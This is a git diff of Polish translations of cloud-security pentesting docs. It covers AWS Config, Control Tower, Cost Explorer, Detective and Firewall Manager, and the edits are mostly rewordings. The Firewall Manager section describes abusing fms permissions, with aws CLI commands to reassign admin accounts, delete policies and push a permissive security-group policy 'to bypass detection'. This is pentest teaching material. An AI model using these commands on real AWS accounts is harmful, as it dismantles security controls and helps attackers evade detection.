-- **Relacje**: Zawiera informacje o wszelkich połączeniach **relacji, które zasób może mieć**. W tej sekcji wyświetli jasny opis wszelkich relacji do innych zasobów, które ten zasób miał. Na przykład, jeśli CI dotyczył instancji EC2, sekcja relacji mogłaby pokazać połączenie z VPC wraz z podsiecią, w której znajduje się instancja EC2.
-- **Aktualna konfiguracja:** Wyświetli te same informacje, które byłyby generowane, gdybyś wykonał wywołanie API describe lub list za pomocą AWS CLI. AWS Config używa tych samych wywołań API, aby uzyskać te same informacje.
+- **Atrybuty**: Zawiera wspólne **informacje o atrybutach w odniesieniu do rzeczywistego zasobu**. W tej sekcji mamy również unikalny identyfikator zasobu oraz wszelkie kluczowe tagi wartości, które są związane z zasobem. Typ zasobu jest również wymieniony. Na przykład, jeśli byłby to CI dla instancji EC2, wymienione typy zasobów mogłyby obejmować interfejs sieciowy lub elastyczny adres IP dla tej instancji EC2.
+- **Relacje**: Zawiera informacje o wszelkich połączeniach **relacji, które zasób może mieć**. W tej sekcji wyświetli jasny opis wszelkich relacji z innymi zasobami, które ten zasób miał. Na przykład, jeśli CI dotyczyła instancji EC2, sekcja relacji może pokazać połączenie z VPC wraz z podsiecią, w której znajduje się instancja EC2.
+- **Bieżąca konfiguracja:** Wyświetli te same informacje, które byłyby generowane, gdybyś wykonał wywołanie API describe lub list za pomocą AWS CLI. AWS Config używa tych samych wywołań API, aby uzyskać te same informacje.
 - **Powiązane zdarzenia**: To odnosi się do AWS CloudTrail. Wyświetli **identyfikator zdarzenia AWS CloudTrail, który jest związany ze zmianą, która wywołała utworzenie tego CI**. Dla każdej zmiany dokonanej w zasobie tworzony jest nowy CI. W rezultacie będą tworzone różne identyfikatory zdarzeń CloudTrail.
 
 **Historia konfiguracji**: Możliwe jest uzyskanie historii konfiguracji zasobów dzięki elementom konfiguracji. Historia konfiguracji jest dostarczana co 6 godzin i zawiera wszystkie CI dla danego typu zasobu.
@@ -20,7 +20,7 @@ Element konfiguracji lub **CI**, jak to się nazywa, jest kluczowym komponentem
 
 **Migawki konfiguracji**: Elementy konfiguracji są używane do tworzenia migawki w danym momencie wszystkich obsługiwanych zasobów.
 
-**S3 jest używane do przechowywania** plików historii konfiguracji i wszelkich migawek konfiguracji twoich danych w jednym koszyku, który jest zdefiniowany w rejestratorze konfiguracji. Jeśli masz wiele kont AWS, możesz chcieć zgrupować swoje pliki historii konfiguracji w tym samym koszyku S3 dla swojego głównego konta. Jednak będziesz musiał przyznać dostęp do zapisu dla tego zasady usługi, config.amazonaws.com, oraz twoich drugorzędnych kont z dostępem do zapisu do koszyka S3 w twoim głównym koncie.
+**S3 jest używane do przechowywania** plików historii konfiguracji i wszelkich migawek konfiguracji twoich danych w jednym koszyku, który jest zdefiniowany w rejestratorze konfiguracji. Jeśli masz wiele kont AWS, możesz chcieć zgrupować pliki historii konfiguracji w tym samym koszyku S3 dla swojego głównego konta. Jednak będziesz musiał przyznać dostęp do zapisu dla tego zasady usługi, config.amazonaws.com, oraz twoich drugorzędnych kont z dostępem do zapisu do koszyka S3 w twoim głównym koncie.
 
 ### Działanie
 
@@ -34,11 +34,11 @@ Element konfiguracji lub **CI**, jak to się nazywa, jest kluczowym komponentem
 
 ### Reguły Config
 
-Reguły Config to świetny sposób, aby pomóc ci **egzekwować konkretne kontrole zgodności** **i kontrole w całych zasobach**, i pozwala na przyjęcie idealnej specyfikacji wdrożenia dla każdego z typów zasobów. Każda reguła **jest zasadniczo funkcją lambda**, która, gdy jest wywoływana, ocenia zasób i wykonuje prostą logikę, aby określić wynik zgodności z regułą. **Za każdym razem, gdy dokonano zmiany** w jednym z twoich obsługiwanych zasobów, **AWS Config sprawdzi zgodność z wszelkimi regułami config, które masz w miejscu**.\
-AWS ma szereg **zdefiniowanych reguł**, które mieszczą się w ramach bezpieczeństwa i są gotowe do użycia. Na przykład, Rds-storage-encrypted. To sprawdza, czy szyfrowanie pamięci masowej jest aktywowane przez twoje instancje bazy danych RDS. Encrypted-volumes. To sprawdza, czy jakiekolwiek wolumeny EBS, które mają stan podłączony, są szyfrowane.
+Reguły Config to świetny sposób, aby pomóc ci **w egzekwowaniu konkretnych kontroli zgodności** **i kontroli w całych zasobach**, i pozwala na przyjęcie idealnej specyfikacji wdrożenia dla każdego z typów zasobów. Każda reguła **jest zasadniczo funkcją lambda**, która po wywołaniu ocenia zasób i wykonuje prostą logikę, aby określić wynik zgodności z regułą. **Za każdym razem, gdy dokonana jest zmiana** w jednym z twoich obsługiwanych zasobów, **AWS Config sprawdzi zgodność z wszelkimi regułami config, które masz wprowadzone**.\
+AWS ma szereg **zdefiniowanych reguł**, które mieszczą się w ramach bezpieczeństwa i są gotowe do użycia. Na przykład, Rds-storage-encrypted. Sprawdza, czy szyfrowanie pamięci masowej jest aktywowane przez twoje instancje bazy danych RDS. Encrypted-volumes. Sprawdza, czy jakiekolwiek wolumeny EBS, które mają stan podłączony, są szyfrowane.
 
-- **Zarządzane reguły AWS**: Zestaw zdefiniowanych reguł, które obejmują wiele najlepszych praktyk, więc zawsze warto najpierw przeszukać te reguły przed utworzeniem własnych, ponieważ istnieje szansa, że reguła może już istnieć.
-- **Reguły niestandardowe**: Możesz tworzyć własne reguły, aby sprawdzić konkretne niestandardowe konfiguracje.
+- **Zarządzane reguły AWS**: Zestaw zdefiniowanych reguł, które obejmują wiele najlepszych praktyk, więc zawsze warto najpierw przeszukać te reguły, zanim utworzysz własne, ponieważ istnieje szansa, że reguła może już istnieć.
+- **Reguły niestandardowe**: Możesz tworzyć własne reguły, aby sprawdzać konkretne niestandardowe konfiguracje.
 
 Limit 50 reguł config na region, zanim będziesz musiał skontaktować się z AWS w celu zwiększenia.\
 Wyniki niezgodne nie są USUWANE.
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
index 99301c6e7..5b1d95267 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
@@ -5,15 +5,15 @@
 ## Control Tower
 
 > [!NOTE]
-> Podsumowując, Control Tower to usługa, która pozwala definiować zasady dla wszystkich Twoich kont w ramach Twojej organizacji. Zamiast zarządzać każdym z nich, możesz ustawić zasady z Control Tower, które będą na nie stosowane.
+> Podsumowując, Control Tower to usługa, która pozwala definiować zasady dla wszystkich Twoich kont w ramach organizacji. Zamiast zarządzać każdym z nich, możesz ustawić zasady z Control Tower, które będą na nie stosowane.
 
-AWS Control Tower to **usługa świadczona przez Amazon Web Services (AWS)**, która umożliwia organizacjom skonfigurowanie i zarządzanie bezpiecznym, zgodnym środowiskiem wielokontowym w AWS.
+AWS Control Tower to **usługa oferowana przez Amazon Web Services (AWS)**, która umożliwia organizacjom skonfigurowanie i zarządzanie bezpiecznym, zgodnym środowiskiem wielokontowym w AWS.
 
 AWS Control Tower oferuje **zestaw wstępnie zdefiniowanych najlepszych praktyk**, które można dostosować do specyficznych **wymagań organizacyjnych**. Te plany obejmują wstępnie skonfigurowane usługi i funkcje AWS, takie jak AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail i AWS Service Catalog.
 
-Dzięki AWS Control Tower administratorzy mogą szybko skonfigurować **środowisko wielokontowe, które spełnia wymagania organizacyjne**, takie jak **bezpieczeństwo** i zgodność. Usługa zapewnia centralny pulpit nawigacyjny do przeglądania i zarządzania kontami oraz zasobami, a także automatyzuje przydzielanie kont, usług i zasad.
+Dzięki AWS Control Tower administratorzy mogą szybko skonfigurować **środowisko wielokontowe, które spełnia wymagania organizacyjne**, takie jak **bezpieczeństwo** i zgodność. Usługa oferuje centralny pulpit nawigacyjny do przeglądania i zarządzania kontami oraz zasobami, a także automatyzuje provisionowanie kont, usług i zasad.
 
-Dodatkowo, AWS Control Tower zapewnia bariery ochronne, które są zestawem wstępnie skonfigurowanych zasad, które zapewniają, że środowisko pozostaje zgodne z wymaganiami organizacyjnymi. Te zasady można dostosować do specyficznych potrzeb.
+Dodatkowo, AWS Control Tower zapewnia "guardrails", które są zestawem wstępnie skonfigurowanych zasad, które zapewniają, że środowisko pozostaje zgodne z wymaganiami organizacyjnymi. Te zasady można dostosować do specyficznych potrzeb.
 
 Ogólnie rzecz biorąc, AWS Control Tower upraszcza proces konfigurowania i zarządzania bezpiecznym, zgodnym środowiskiem wielokontowym w AWS, co ułatwia organizacjom skupienie się na ich podstawowych celach biznesowych.
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md
index d68036bce..7f79cd620 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md
@@ -4,8 +4,8 @@
 
 ## Cost Explorer i wykrywanie anomalii
 
-To pozwala Ci sprawdzić **jak wydajesz pieniądze na usługi AWS** i pomaga w **wykrywaniu anomalii**.\
-Ponadto możesz skonfigurować wykrywanie anomalii, aby AWS ostrzegał Cię, gdy zostanie znaleziona **anomalia w kosztach**.
+To pozwala na sprawdzenie **jak wydajesz pieniądze na usługi AWS** i pomaga w **wykrywaniu anomalii**.\
+Ponadto możesz skonfigurować wykrywanie anomalii, aby AWS ostrzegał cię, gdy zostanie znaleziona **anomalia w kosztach**.
 
 ### Budżety
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md
index 309f79645..5916ff7fb 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md
@@ -4,9 +4,9 @@
 
 ## Detective
 
-**Amazon Detective** upraszcza proces dochodzenia w zakresie bezpieczeństwa, czyniąc go bardziej efektywnym w **analizowaniu, badaniu i identyfikowaniu przyczyny** problemów bezpieczeństwa lub nietypowych działań. Automatyzuje zbieranie danych logów z zasobów AWS i wykorzystuje **uczenie maszynowe, analizę statystyczną i teorię grafów** do budowy powiązanego zestawu danych. Taka konfiguracja znacznie zwiększa szybkość i skuteczność dochodzeń w zakresie bezpieczeństwa.
+**Amazon Detective** upraszcza proces dochodzenia w sprawach bezpieczeństwa, czyniąc go bardziej efektywnym w **analizowaniu, badaniu i określaniu przyczyny** problemów bezpieczeństwa lub nietypowych działań. Automatyzuje zbieranie danych logów z zasobów AWS i wykorzystuje **uczenie maszynowe, analizę statystyczną i teorię grafów** do budowy powiązanego zestawu danych. Ta konfiguracja znacznie zwiększa szybkość i skuteczność dochodzeń w sprawach bezpieczeństwa.
 
-Usługa ułatwia dogłębną eksplorację incydentów bezpieczeństwa, pozwalając zespołom bezpieczeństwa szybko zrozumieć i zająć się podstawowymi przyczynami problemów. Amazon Detective analizuje ogromne ilości danych z takich źródeł jak VPC Flow Logs, AWS CloudTrail i Amazon GuardDuty. Automatycznie generuje **kompleksowy, interaktywny widok zasobów, użytkowników i ich interakcji w czasie**. Ta zintegrowana perspektywa dostarcza wszystkich niezbędnych szczegółów i kontekstu w jednym miejscu, umożliwiając zespołom dostrzeganie powodów wyników bezpieczeństwa, badanie istotnych działań historycznych i szybkie określenie przyczyny.
+Usługa ułatwia dogłębną eksplorację incydentów bezpieczeństwa, pozwalając zespołom bezpieczeństwa szybko zrozumieć i rozwiązać podstawowe przyczyny problemów. Amazon Detective analizuje ogromne ilości danych z takich źródeł jak VPC Flow Logs, AWS CloudTrail i Amazon GuardDuty. Automatycznie generuje **kompleksowy, interaktywny widok zasobów, użytkowników i ich interakcji w czasie**. Ta zintegrowana perspektywa dostarcza wszystkich niezbędnych szczegółów i kontekstu w jednym miejscu, umożliwiając zespołom dostrzeganie przyczyn ustaleń dotyczących bezpieczeństwa, badanie istotnych działań historycznych i szybkie określenie przyczyny.
 
 ## References
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md
index 4f8bb1ada..31cecf9b2 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md
@@ -13,7 +13,7 @@ Usługa oferuje możliwość **grupowania i zabezpieczania konkretnych zasobów*
 AWS Firewall Manager zapewnia **zarządzane listy aplikacji i protokołów**, aby uprościć konfigurację i zarządzanie politykami grup bezpieczeństwa. Te listy pozwalają zdefiniować protokoły i aplikacje dozwolone lub zabronione przez Twoje polityki. Istnieją dwa rodzaje zarządzanych list:
 
 - **Zarządzane listy Firewall Manager**: Te listy obejmują **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** i **FMS-Default-Protocols-Allowed**. Są zarządzane przez Firewall Manager i obejmują powszechnie używane aplikacje i protokoły, które powinny być dozwolone lub zabronione dla ogółu społeczeństwa. Nie można ich edytować ani usuwać, jednak można wybrać ich wersję.
-- **Zarządzane listy niestandardowe**: Te listy zarządzasz samodzielnie. Możesz tworzyć niestandardowe listy aplikacji i protokołów dostosowane do potrzeb Twojej organizacji. W przeciwieństwie do zarządzanych list Firewall Manager, te listy nie mają wersji, ale masz pełną kontrolę nad listami niestandardowymi, co pozwala na ich tworzenie, edytowanie i usuwanie w razie potrzeby.
+- **Zwykłe zarządzane listy**: Te listy zarządzasz samodzielnie. Możesz tworzyć niestandardowe listy aplikacji i protokołów dostosowane do potrzeb Twojej organizacji. W przeciwieństwie do zarządzanych list Firewall Manager, te listy nie mają wersji, ale masz pełną kontrolę nad niestandardowymi listami, co pozwala na ich tworzenie, edytowanie i usuwanie w razie potrzeby.
 
 Ważne jest, aby zauważyć, że **polityki Firewall Manager zezwalają tylko na działania "Block" lub "Count"** dla grupy reguł, bez opcji "Allow".
 
@@ -37,12 +37,12 @@ AWS Firewall Manager zarządza kilkoma rodzajami polityk w celu egzekwowania kon
 1. **Polityka AWS WAF:** Ten typ polityki obsługuje zarówno AWS WAF, jak i AWS WAF Classic. Możesz zdefiniować, które zasoby są chronione przez politykę. Dla polityk AWS WAF możesz określić zestawy grup reguł, które mają być uruchamiane jako pierwsze i ostatnie w web ACL. Dodatkowo, właściciele kont mogą dodawać reguły i grupy reguł do uruchomienia pomiędzy tymi zestawami.
 2. **Polityka Shield Advanced:** Ta polityka stosuje ochrony Shield Advanced w całej Twojej organizacji dla określonych typów zasobów. Pomaga chronić przed atakami DDoS i innymi zagrożeniami.
 3. **Polityka grupy bezpieczeństwa Amazon VPC:** Dzięki tej polityce możesz zarządzać grupami bezpieczeństwa używanymi w całej Twojej organizacji, egzekwując podstawowy zestaw reguł w całym środowisku AWS w celu kontrolowania dostępu do sieci.
-4. **Polityka listy kontroli dostępu do sieci (ACL) Amazon VPC:** Ten typ polityki daje Ci kontrolę nad sieciowymi ACL używanymi w Twojej organizacji, pozwalając na egzekwowanie podstawowego zestawu sieciowych ACL w całym środowisku AWS.
+4. **Polityka listy kontroli dostępu do sieci (ACL) Amazon VPC:** Ten typ polityki daje Ci kontrolę nad ACL używanymi w Twojej organizacji, pozwalając na egzekwowanie podstawowego zestawu ACL w całym środowisku AWS.
 5. **Polityka Network Firewall:** Ta polityka stosuje ochronę AWS Network Firewall do VPC Twojej organizacji, zwiększając bezpieczeństwo sieci poprzez filtrowanie ruchu na podstawie zdefiniowanych reguł.
 6. **Polityka DNS Firewall Amazon Route 53 Resolver:** Ta polityka stosuje ochrony DNS Firewall do VPC Twojej organizacji, pomagając blokować złośliwe próby rozwiązywania domen i egzekwować polityki bezpieczeństwa dla ruchu DNS.
-7. **Polityka zapory innych firm:** Ten typ polityki stosuje ochrony z zapór innych firm, które są dostępne w subskrypcji przez konsolę AWS Marketplace. Umożliwia to integrację dodatkowych środków bezpieczeństwa od zaufanych dostawców w Twoim środowisku AWS.
-1. **Polityka Palo Alto Networks Cloud NGFW:** Ta polityka stosuje ochrony i stosy reguł Palo Alto Networks Cloud Next Generation Firewall (NGFW) do VPC Twojej organizacji, zapewniając zaawansowaną ochronę przed zagrożeniami i kontrolę bezpieczeństwa na poziomie aplikacji.
-2. **Polityka Fortigate Cloud Native Firewall (CNF) jako usługa:** Ta polityka stosuje ochrony Fortigate Cloud Native Firewall (CNF) jako usługi, oferując wiodącą w branży ochronę przed zagrożeniami, zaporę aplikacji internetowych (WAF) i ochronę API dostosowaną do infrastruktury chmurowej.
+7. **Polityka zapory innych firm:** Ten typ polityki stosuje ochrony z zapór innych firm, które są dostępne na subskrypcję przez konsolę AWS Marketplace. Umożliwia to integrację dodatkowych środków bezpieczeństwa od zaufanych dostawców w Twoim środowisku AWS.
+1. **Polityka Palo Alto Networks Cloud NGFW:** Ta polityka stosuje ochrony i zestawy reguł Palo Alto Networks Cloud Next Generation Firewall (NGFW) do VPC Twojej organizacji, zapewniając zaawansowaną ochronę przed zagrożeniami i kontrolę bezpieczeństwa na poziomie aplikacji.
+2. **Polityka Fortigate Cloud Native Firewall (CNF) as a Service:** Ta polityka stosuje ochrony Fortigate Cloud Native Firewall (CNF) as a Service, oferując wiodącą w branży ochronę przed zagrożeniami, zaporę aplikacyjną (WAF) i ochronę API dostosowaną do infrastruktury chmurowej.
 
 ### Administrator accounts
 
@@ -60,19 +60,19 @@ Istnieją dwa odrębne typy kont administratorów, z których każde pełni okre
 
 - **Domyślny administrator:**
 - Domyślne konto administratora jest tworzone przez konto zarządzające organizacją AWS Organizations podczas procesu wprowadzania do Firewall Manager.
-- To konto ma zdolność zarządzania zaporami innych firm i posiada pełny zakres administracyjny.
+- To konto ma możliwość zarządzania zaporami innych firm i posiada pełny zakres administracyjny.
 - Służy jako główne konto administratora dla Firewall Manager, odpowiedzialne za konfigurowanie i egzekwowanie polityk bezpieczeństwa w całej organizacji.
-- Chociaż domyślny administrator ma pełny dostęp do wszystkich typów zasobów i funkcjonalności administracyjnych, działa na tym samym poziomie co inni administratorzy, jeśli w organizacji korzysta się z wielu administratorów.
+- Chociaż domyślny administrator ma pełny dostęp do wszystkich typów zasobów i funkcji administracyjnych, działa na tym samym poziomie co inni administratorzy, jeśli w organizacji korzysta się z wielu administratorów.
 - **Administratorzy Firewall Manager:**
 - Ci administratorzy mogą zarządzać zasobami w zakresie określonym przez konto zarządzające AWS Organizations, zgodnie z konfiguracją zakresu administracyjnego.
 - Administratorzy Firewall Manager są tworzeni w celu wypełnienia określonych ról w organizacji, co pozwala na delegowanie odpowiedzialności przy jednoczesnym zachowaniu standardów bezpieczeństwa i zgodności.
-- Po utworzeniu Firewall Manager sprawdza z AWS Organizations, aby ustalić, czy konto jest już delegowanym administratorem. Jeśli nie, Firewall Manager wywołuje Organizations, aby wyznaczyć konto jako delegowanego administratora dla Firewall Manager.
+- Po utworzeniu Firewall Manager sprawdza z AWS Organizations, czy konto jest już delegowanym administratorem. Jeśli nie, Firewall Manager wzywa Organizations, aby wyznaczyć konto jako delegowanego administratora dla Firewall Manager.
 
 Zarządzanie tymi kontami administratorów polega na ich tworzeniu w Firewall Manager i definiowaniu ich zakresów administracyjnych zgodnie z wymaganiami bezpieczeństwa organizacji oraz zasadą najmniejszych uprawnień. Przez przypisanie odpowiednich ról administracyjnych organizacje mogą zapewnić skuteczne zarządzanie bezpieczeństwem, jednocześnie zachowując szczegółową kontrolę nad dostępem do wrażliwych zasobów.
 
 Ważne jest, aby podkreślić, że **tylko jedno konto w organizacji może pełnić rolę domyślnego administratora Firewall Manager**, przestrzegając zasady "**pierwszy wchodzi, ostatni wychodzi**". Aby wyznaczyć nowego domyślnego administratora, należy wykonać szereg kroków:
 
-- Najpierw każde konto administratora Firewall Administrator musi cofnąć swoje własne konto.
+- Najpierw każde konto administratora Firewall musi cofnąć swoje własne konto.
 - Następnie istniejący domyślny administrator może cofnąć swoje własne konto, skutecznie wycofując organizację z Firewall Manager. Proces ten skutkuje usunięciem wszystkich polityk Firewall Manager stworzonych przez cofnięte konto.
 - Na koniec konto zarządzające AWS Organizations musi wyznaczyć domyślnego administratora Firewall Manager.
 
@@ -165,9 +165,9 @@ aws fms get-violation-details --policy-id <value> --member-account <value> --res
 
 ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`)
 
-Napastnik z uprawnieniem **`fms:AssociateAdminAccount`** mógłby ustawić domyślne konto administratora Firewall Manager. Z uprawnieniem **`fms:PutAdminAccount`**, napastnik mógłby utworzyć lub zaktualizować konto administratora Firewall Manager, a z uprawnieniem **`fms:DisassociateAdminAccount`**, potencjalny napastnik mógłby usunąć aktualne powiązanie konta administratora Firewall Manager.
+Atakujący z uprawnieniem **`fms:AssociateAdminAccount`** mógłby ustawić domyślne konto administratora Firewall Managera. Z uprawnieniem **`fms:PutAdminAccount`**, atakujący mógłby utworzyć lub zaktualizować konto administratora Firewall Managera, a z uprawnieniem **`fms:DisassociateAdminAccount`**, potencjalny atakujący mógłby usunąć bieżące powiązanie konta administratora Firewall Managera.
 
-- Rozłączenie **domyślnego administratora Firewall Managera podlega zasadzie pierwsze wchodzi, ostatnie wychodzi**. Wszyscy administratorzy Firewall Manager muszą się rozłączyć, zanim domyślny administrator Firewall Managera będzie mógł rozłączyć konto.
+- Rozłączenie domyślnego administratora **Firewall Managera podlega zasadzie pierwsze weszło, ostatnie wyszło**. Wszyscy administratorzy Firewall Managera muszą się rozłączyć, zanim domyślny administrator Firewall Managera będzie mógł rozłączyć konto.
 - Aby utworzyć administratora Firewall Managera za pomocą **PutAdminAccount**, konto musi należeć do organizacji, która wcześniej została wprowadzona do Firewall Managera za pomocą **AssociateAdminAccount**.
 - Utworzenie konta administratora Firewall Managera może być dokonane tylko przez konto zarządzające organizacją.
 ```bash
@@ -175,7 +175,7 @@ aws fms associate-admin-account --admin-account <value>
 aws fms disassociate-admin-account
 aws fms put-admin-account --admin-account <value>
 ```
-**Potencjalny wpływ:** Utrata centralnego zarządzania, unikanie polityki, naruszenia zgodności oraz zakłócenie kontroli bezpieczeństwa w środowisku.
+**Potencjalny wpływ:** Utrata centralnego zarządzania, omijanie polityki, naruszenia zgodności oraz zakłócenie kontroli bezpieczeństwa w środowisku.
 
 ### `fms:PutPolicy`, `fms:DeletePolicy`
 
@@ -184,7 +184,7 @@ Atakujący z uprawnieniami **`fms:PutPolicy`**, **`fms:DeletePolicy`** mógłby
 aws fms put-policy --policy <value> | --cli-input-json file://<policy.json> [--tag-list <value>]
 aws fms delete-policy --policy-id <value> [--delete-all-policy-resources | --no-delete-all-policy-resources]
 ```
-Przykład polityki o dużej swobodzie poprzez grupę zabezpieczeń o dużej swobodzie, w celu ominięcia wykrywania, może być następujący:
+Przykład polityki zezwalającej poprzez zezwalającą grupę zabezpieczeń, w celu ominięcia wykrywania, może być następujący:
 ```json
 {
 "Policy": {
@@ -208,11 +208,11 @@ Przykład polityki o dużej swobodzie poprzez grupę zabezpieczeń o dużej swob
 "TagList": []
 }
 ```
-**Potencjalny wpływ:** Demontaż kontroli bezpieczeństwa, unikanie polityki, naruszenia zgodności, zakłócenia operacyjne oraz potencjalne naruszenia danych w środowisku.
+**Potencjalny wpływ:** Demontaż zabezpieczeń, unikanie polityki, naruszenia zgodności, zakłócenia operacyjne oraz potencjalne wycieki danych w środowisku.
 
 ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet`
 
-Atakujący z uprawnieniami **`fms:BatchAssociateResource`** i **`fms:BatchDisassociateResource`** byłby w stanie odpowiednio powiązać lub rozwiązać powiązania zasobów z zestawem zasobów Firewall Managera. Dodatkowo, uprawnienia **`fms:PutResourceSet`** i **`fms:DeleteResourceSet`** pozwoliłyby atakującemu na tworzenie, modyfikowanie lub usuwanie tych zestawów zasobów z AWS Firewall Manager.
+Atakujący z uprawnieniami **`fms:BatchAssociateResource`** i **`fms:BatchDisassociateResource`** mógłby odpowiednio przypisywać lub odpisywać zasoby z zestawu zasobów Firewall Managera. Dodatkowo, uprawnienia **`fms:PutResourceSet`** i **`fms:DeleteResourceSet`** pozwoliłyby atakującemu na tworzenie, modyfikowanie lub usuwanie tych zestawów zasobów z AWS Firewall Manager.
 ```bash
 # Associate/Disassociate resources from a resource set
 aws fms batch-associate-resource --resource-set-identifier <value> --items <value>
@@ -226,12 +226,12 @@ aws fms delete-resource-set --identifier <value>
 
 ### `fms:PutAppsList`, `fms:DeleteAppsList`
 
-Atakujący z uprawnieniami **`fms:PutAppsList`** i **`fms:DeleteAppsList`** mógłby tworzyć, modyfikować lub usuwać listy aplikacji z AWS Firewall Manager. Może to być krytyczne, ponieważ nieautoryzowane aplikacje mogłyby uzyskać dostęp do ogółu społeczeństwa, lub dostęp do autoryzowanych aplikacji mógłby być zablokowany, co powodowałoby DoS.
+Atakujący z uprawnieniami **`fms:PutAppsList`** i **`fms:DeleteAppsList`** mógłby tworzyć, modyfikować lub usuwać listy aplikacji z AWS Firewall Manager. Może to być krytyczne, ponieważ nieautoryzowane aplikacje mogłyby uzyskać dostęp do ogółu społeczeństwa, lub dostęp do autoryzowanych aplikacji mógłby być zablokowany, co spowodowałoby DoS.
 ```bash
 aws fms put-apps-list --apps-list <value> [--tag-list <value>]
 aws fms delete-apps-list --list-id <value>
 ```
-**Potencjalny wpływ:** Może to prowadzić do błędnych konfiguracji, unikania polityki, naruszeń zgodności oraz zakłóceń w kontrolach bezpieczeństwa w środowisku.
+**Potencjalny wpływ:** Może to prowadzić do błędnych konfiguracji, omijania polityk, naruszeń zgodności oraz zakłóceń w kontrolach bezpieczeństwa w środowisku.
 
 ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList`
 
@@ -246,7 +246,7 @@ aws fms delete-protocols-list --list-id <value>
 
 Atakujący z uprawnieniami **`fms:PutNotificationChannel`** i **`fms:DeleteNotificationChannel`** mógłby usunąć i wyznaczyć rolę IAM oraz temat Amazon Simple Notification Service (SNS), które Firewall Manager wykorzystuje do rejestrowania logów SNS.
 
-Aby użyć **`fms:PutNotificationChannel`** poza konsolą, musisz skonfigurować politykę dostępu do tematu SNS, pozwalając określonemu **SnsRoleName** publikować logi SNS. Jeśli podane **SnsRoleName** jest rolą inną niż **`AWSServiceRoleForFMS`**, wymaga to skonfigurowania relacji zaufania, aby umożliwić głównemu podmiotowi usługi Firewall Manager **fms.amazonaws.com** przyjęcie tej roli.
+Aby użyć **`fms:PutNotificationChannel`** poza konsolą, musisz skonfigurować politykę dostępu do tematu SNS, pozwalając określonemu **SnsRoleName** na publikowanie logów SNS. Jeśli podane **SnsRoleName** jest rolą inną niż **`AWSServiceRoleForFMS`**, wymaga to skonfigurowania relacji zaufania, aby umożliwić głównemu usługowemu Firewall Manager **fms.amazonaws.com** przyjęcie tej roli.
 
 Aby uzyskać informacje na temat konfigurowania polityki dostępu do SNS:
 
@@ -261,10 +261,10 @@ aws fms delete-notification-channel
 
 ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall`
 
-Atakujący z uprawnieniami **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** mógłby powiązać lub rozwiązać powiązanie zapór stron trzecich, aby były zarządzane centralnie przez AWS Firewall Manager.
+Atakujący z uprawnieniami **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** mógłby powiązać lub rozwiązać powiązanie zapór ogniowych stron trzecich, które są zarządzane centralnie przez AWS Firewall Manager.
 
 > [!WARNING]
-> Tylko domyślny administrator może tworzyć i zarządzać zaporami stron trzecich.
+> Tylko domyślny administrator może tworzyć i zarządzać zaporami ogniowymi stron trzecich.
 ```bash
 aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL]
 aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL]
@@ -273,7 +273,7 @@ aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETW
 
 ### `fms:TagResource`, `fms:UntagResource`
 
-Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów Firewall Manager, zakłócając alokację kosztów, śledzenie zasobów i polityki kontroli dostępu oparte na tagach.
+Atakujący mógłby dodać, zmodyfikować lub usunąć tagi z zasobów Firewall Manager, zakłócając alokację kosztów, śledzenie zasobów oraz polityki kontroli dostępu oparte na tagach.
 ```bash
 aws fms tag-resource --resource-arn <value> --tag-list <value>
 aws fms untag-resource --resource-arn <value> --tag-keys <value>
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
index d51c0c410..8623257b3 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -4,7 +4,7 @@
 
 ## GuardDuty
 
